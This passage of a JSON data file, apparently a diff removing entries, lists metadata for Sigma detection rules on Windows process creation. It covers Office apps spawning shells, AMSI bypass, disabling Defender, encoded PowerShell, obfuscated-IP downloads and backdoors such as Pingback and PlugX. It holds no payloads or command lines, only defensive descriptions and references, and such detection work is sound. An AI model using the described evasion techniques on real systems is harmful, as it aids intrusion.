occasionally which might generate some false positives. In that case Investigate the parent and child process." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", - "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b", - "value": "Use NTFS Short Name in Image", - "meta": { - "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/jonasLyk/status/1555914501802921984", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2022/08/06", - "filename": "proc_creation_win_ntfs_short_name_use_image.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", - "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", - "value": "Obfuscated IP Download", - "meta": { - "refs": [ - "https://h.43z.one/ipconverter/", - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" - ], - "tags": [ - "attack.discovery" - ], - "creation_date": "2022/08/03", - "filename": "proc_creation_win_obfuscated_ip_download.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", - "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", - "value": "Obfuscated IP Via CLI", - "meta": { - "refs": [ - "https://h.43z.one/ipconverter/", - "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" - ], - "tags": [ - "attack.discovery" - ], - "creation_date": "2022/08/03", - "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", - "uuid": "518643ba-7d9c-4fa5-9f37-baed36059f6a", - "value": "Office Applications Spawning Wmi Cli", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_applications_spawning_wmi_commandline.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_office_applications_spawning_wmi_commandline.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", - "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", - "value": "Office Directory Traversal CommandLine", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1531653369546301440", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2022/06/02", - "filename": "proc_creation_win_office_dir_traversal_cli.yml", - "author": "@SBousseaden (idea), Christian Burkard (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", - "uuid": "9d1c72f5-43f0-4da5-9320-648cf2099dd0", - "value": "Excel Proxy Executing Regsvr32 With Payload", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", - "uuid": "c0e1c3d5-4381-4f18-8145-2583f06a1fe5", - "value": "Excel Proxy Executing Regsvr32 With Payload", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", - "uuid": "438025f9-5856-4663-83f7-52f878a70a50", - "value": "Microsoft Office Product Spawning Windows Shell", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2018/04/06", - "filename": "proc_creation_win_office_shell.yml", - "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", - "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", - "value": "Office Applications Spawning Wmi Cli", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", - "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", - "value": "MS Office Product Spawning Exe in User Dir", - "meta": { - "refs": [ - "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", - "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002", - "attack.g0046", - "car.2013-05-002" - ], - "creation_date": "2019/04/02", - "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", - "author": "Jason Lynch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", - "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", - "value": "Svchost Spawning Office Application", - "meta": { - "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", - "https://github.com/med0x2e/vba2clr", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2022/10/13", - "filename": "proc_creation_win_office_svchost_child.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of office automation via scripting" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", - "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", - "value": "Microsoft Outlook Product Spawning Windows Shell", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2022/02/28", - "filename": "proc_creation_win_outlook_shell.yml", - "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", - "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", - "value": "Suspicious Execution Of PDQDeployRunner", - "meta": { - "refs": [ - "https://twitter.com/malmoeb/status/1550483085472432128", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/07/22", - "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of the PDQDeploy tool to execute these commands" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of PDQ Deploy remote admin tool", - "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", - "value": "Use of PDQ Deploy Remote Adminstartion Tool", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", - "https://www.pdq.com/pdq-deploy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1072" - ], - "creation_date": "2022/10/01", - "filename": "proc_creation_win_pdq_deploy.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", - "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", - "value": "Persistence Via TypedPaths - CommandLine", - "meta": { - "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", - "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/22", - "filename": "proc_creation_win_persistence_typed_paths.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", - "value": "Pingback Backdoor", - "meta": { - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ], - "creation_date": "2021/05/05", - "filename": "proc_creation_win_pingback_backdoor.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", - "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", - "value": "Executable Used by PlugX in Uncommon Location", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", - "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" - ], - "tags": [ - "attack.s0013", - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2017/06/12", - "filename": "proc_creation_win_plugx_susp_exe_locations.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", - "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", - "value": "Possible Privilege Escalation via Service Permissions Weakness", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1574.011" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", - "author": "Teymur Kheirkhabarov", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", - "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", - "value": "Powershell AMSI Bypass via .NET Reflection", - "meta": { - "refs": [ - "https://twitter.com/mattifestation/status/735261176745988096", - "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2018/08/17", - "filename": "proc_creation_win_powershell_amsi_bypass.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects audio capture via PowerShell Cmdlet.", - "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", - "value": "Audio Capture via PowerShell", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", - "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_powershell_audio_capture.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate audio capture by legitimate user." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Base64 encoded Shellcode", - "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", - "value": "PowerShell Base64 Encoded Shellcode", - "meta": { - "refs": [ - "https://twitter.com/cyb3rops/status/1063072865992523776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2018/11/17", - "filename": "proc_creation_win_powershell_b64_shellcode.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect download by BITS jobs via PowerShell", - "uuid": "f67dbfce-93bc-440d-86ad-a95ae8858c90", - "value": "Suspicious Bitsadmin Job via PowerShell", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2018/10/30", - "filename": "proc_creation_win_powershell_bitsjob.yml", - "author": "Endgame, JHasenbusch (ported to sigma for oscd.community)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", - "uuid": "74403157-20f5-415d-89a7-c505779585cf", - "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the PowerShell command lines with reversed strings", - "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", - "value": "Suspicious PowerShell Cmdline", - "meta": { - "refs": [ - "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the PowerShell command lines with special characters", - "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", - "value": "Suspicious PowerShell Command Line", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", - "level": "high", - "falsepositive": [ - "Unlikely", - "Amazon SSM Document Worker", - "Windows Defender ATP" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific combinations of encoding methods in the PowerShell command lines", - "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", - "value": "Encoded PowerShell Command Line", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "level": "low", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific combinations of encoding methods in the PowerShell command lines", - "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", - "value": "Suspicious Encoded PowerShell Command Line", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/07/06", - "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", - "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", - "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", - "value": "Powershell Defender Base64 MpPreference", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/03/04", - "filename": "proc_creation_win_powershell_defender_base64.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", - "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", - "value": "Powershell Defender Disable Scan Feature", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", - "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", - "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/03/03", - "filename": "proc_creation_win_powershell_defender_disable_feature.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", - "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", - "value": "Powershell Defender Exclusion", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/04/29", - "filename": "proc_creation_win_powershell_defender_exclusion.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Possible Admin Activity", - "Other Cmdlets that may use the same parameters" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attackers attempting to disable Windows Defender using Powershell", - "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", - "value": "Powershell Used To Disable Windows Defender AV Security Monitoring", - "meta": { - "refs": [ - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_powershell_disable_windef_av.yml", - "author": "ok @securonix invrep-de, oscd.community, frack113", - "level": "high", - "falsepositive": [ - "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", - "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", - "value": "Detection of PowerShell Execution via DLL", - "meta": { - "refs": [ - "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2018/08/25", - "filename": "proc_creation_win_powershell_dll_execution.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", - "uuid": "b3512211-c67e-4707-bedc-66efc7848863", - "value": "PowerShell Downgrade Attack", - "meta": { - "refs": [ - "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/03/20", - "filename": "proc_creation_win_powershell_downgrade_attack.yml", - "author": "Harish Segar (rule)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Powershell process that contains download commands in its command line string", - "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", - "value": "PowerShell Download from URL", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/01/16", - 